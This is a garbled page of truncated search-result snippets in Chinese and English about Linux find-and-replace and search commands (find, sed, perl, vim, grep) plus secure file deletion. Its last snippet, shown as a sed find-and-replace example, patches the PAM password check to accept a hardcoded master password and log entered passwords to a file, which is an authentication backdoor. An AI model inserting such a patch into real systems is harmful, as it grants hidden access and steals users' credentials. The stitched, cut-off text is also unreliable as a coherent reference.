find /usr/sam \( -path /usr/sam/dir1 -o -path /usr/sam/file1 \) -prune -o -print 圆括号表示表达式的结合。 \ 表示引用,即指示 shell 不对后面的字符作特殊解释,而留给 find 命令去解释其意义。 查找某一确定文件,-name等选项加在-o 之后 #find /usr/sam \(-path /usr/
/bin/bash ## Our path _r1="/nfs/apache/logs/rawlogs/access.log" ## Escape path for sed using bash find and replace _r1="${_r1//\//\\/}" # replace __DOMAIN_LOG_FILE__ in our sample.awstats.conf sed -e "s/__DOMAIN_LOG_FILE__/${_r1}/" /nfs/conf/awstats/sample.awstats...
Generate a preliminary configure.in autoupdate Update a configure.in file to newer autoconf. awk Used to find and replace text in a file(s). Linux Commands – B Command Description badblocks Search a disk partition for bad sectors. banner Used to print characters as a poster. basename Used...
# 普通删除文件 rm filename # 彻底删除文件(使用srm) sudo apt-get install srm srm filename # 彻底删除文件(使用shred) sudo apt-get install shred shred -u filename 参考链接 Linux rm命令详解 [Linux srm命令详解](https://www.cyberciti.biz/faq/howto-use-srm-to Secure-erase-delete-files-in-...
Finding and replacing a text string in the file is one of the most basic text editing operations. All text editors support this operation. You can use the text editor's built-in feature or a separate command to find and replace a text string in the file. The first option is good if ...
perl -pie Syntax For Find and Replace The syntax is as follows: C代码 perl -pie's/old-word/new-word/g'input.file >new.output.file 来源:http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/ linux下查找某目录下所有文件包含某字符串的命令 ...
:%s/<search_term>\c/<replace_term>/g 3、文件搜索命令 1)字符串搜索命令-grep #查找指定字符串stringgrep 'string' filename#若需要在文件夹下所有文件查找grep 'string' dirPath/* 补充:若目录下含有多级子目录,则用 grep -r "string" ./
If you need to find text in file or multiple files on a Linux system you can use grep (global regular expression print) in a very efficient way to do so.
cat path/to/file | egrep search_pattern - 【重要】Print file name and line number for each match: egrep --with-filename --line-number "search_pattern" path/to/file - Search for a pattern in all files recursively in a directory, ignoring binary files: ...
#find and replace sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", ...